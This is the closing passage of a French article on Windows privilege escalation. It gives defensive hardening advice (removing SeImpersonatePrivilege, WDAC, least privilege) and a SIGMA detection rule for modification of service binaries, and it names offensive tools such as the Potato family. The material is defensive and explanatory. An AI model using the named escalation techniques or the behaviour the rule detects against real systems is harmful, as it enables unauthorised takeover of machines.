Une politique WDAC bien configurée empêche l'exécution de la plupart des outils d'escalade de privilèges (WinPEAS, SharpUp, outils Potato) car ces binaires ne sont pas signés par un éditeur de confiance. Cependant, les techniques Living-off-the-Land qui n'utilisent que des binaires Microsoft signés restent efficaces même avec WDAC.

Réduction des privilèges et audit des services

La réduction de la surface d'attaque est la mesure défensive la plus efficace. Les actions suivantes doivent être systématiquement implémentées :

• Supprimer les utilisateurs du groupe Administrateurs local : un utilisateur standard ne peut pas exploiter de bypass UAC
• Retirer SeImpersonatePrivilege des comptes de service qui n'en ont pas besoin : cette mesure simple neutralise toute la famille Potato
• Désactiver les services inutiles : le Print Spooler, le service BITS, et d'autres services rarement utilisés sur les serveurs doivent être désactivés
• Auditer régulièrement les permissions de service avec des scripts automatisés comparant la configuration actuelle à une baseline
• Corriger les chemins de service non quotés identifiés par les outils d'audit
• Configurer les comptes de service avec le minimum de privilèges en utilisant des gMSA (Group Managed Service Accounts)
• Appliquer les mises à jour de sécurité rapidement pour corriger les vulnérabilités kernel

EDR et détection comportementale

Les solutions EDR modernes détectent la plupart des outils d'escalade de privilèges connus via des signatures et des analyses comportementales. Les techniques d'évasion EDR évoluent constamment, mais une configuration EDR robuste avec des règles comportementales (et pas uniquement des signatures) offre une couche de protection significative. Les règles SIGMA fournissent un format standardisé pour créer des détections portables entre différentes solutions :

title: Potential Privilege Escalation via Service Binary Modification
status: experimental
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains:
            - '\Windows\System32\'
            - '\Program Files\'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
    condition: selection
level: high
tags:
    - attack.privilege_escalation
    - attack.t1574.010

9. Conclusion

L'escalade de privilèges sous Windows reste une compétence fondamentale pour tout professionnel de la cybersécurité offensive. Comme nous l'avons vu tout au long de cet article, les vecteurs d'attaque sont multiples et touchent tous les aspects du système d'exploitation : des services mal configurés aux tokens manipulables, en passant par les contournements d'UAC, le DLL hijacking, et les vulnérabilités du noyau.

L'évolution constante de la famille Potato illustre parfaitement la dynamique entre attaquants et défenseurs : chaque correction de Microsoft engendre de nouvelles techniques de contournement, dans un cycle qui ne montre aucun signe de ralentissement. GodPotato et CoercedPotato fonctionnent sur les versions les plus récentes de Windows, démontrant que même les systèmes à jour restent vulnérables si les privilèges ne sont pas correctement restreints.

Du côté défensif, la clé réside dans l'application systématique du principe du moindre privilège. Un utilisateur qui n'est pas membre du groupe Administrateurs ne peut pas exploiter de bypass UAC. Un compte de service dépourvu de SeImpersonatePrivilege est immunisé contre les attaques Potato. Des ACLs correctement configurées sur les services et les répertoires d'installation éliminent les vecteurs de DLL hijacking et de manipulation de binaires de service.

La surveillance avec Sysmon, combinée à des solutions EDR modernes et à des politiques WDAC restrictives, fournit les couches de détection et de prévention nécessaires pour identifier et bloquer les tentatives d'escalade en temps réel. Mais ces outils ne remplacent jamais une hygiène de configuration rigoureuse : c'est la combinaison des deux approches qui offre la meilleure protection.

Pour les pentesteurs et les Red Teamers, la maîtrise de ces techniques est essentielle pour évaluer la posture de sécurité réelle d'un environnement Windows. Chaque technique présentée dans cet article peut être transposée en recommandation concrète pour renforcer la sécurité du système -- c'est tout l'intérêt de la cybersécurité offensive au service de la défense.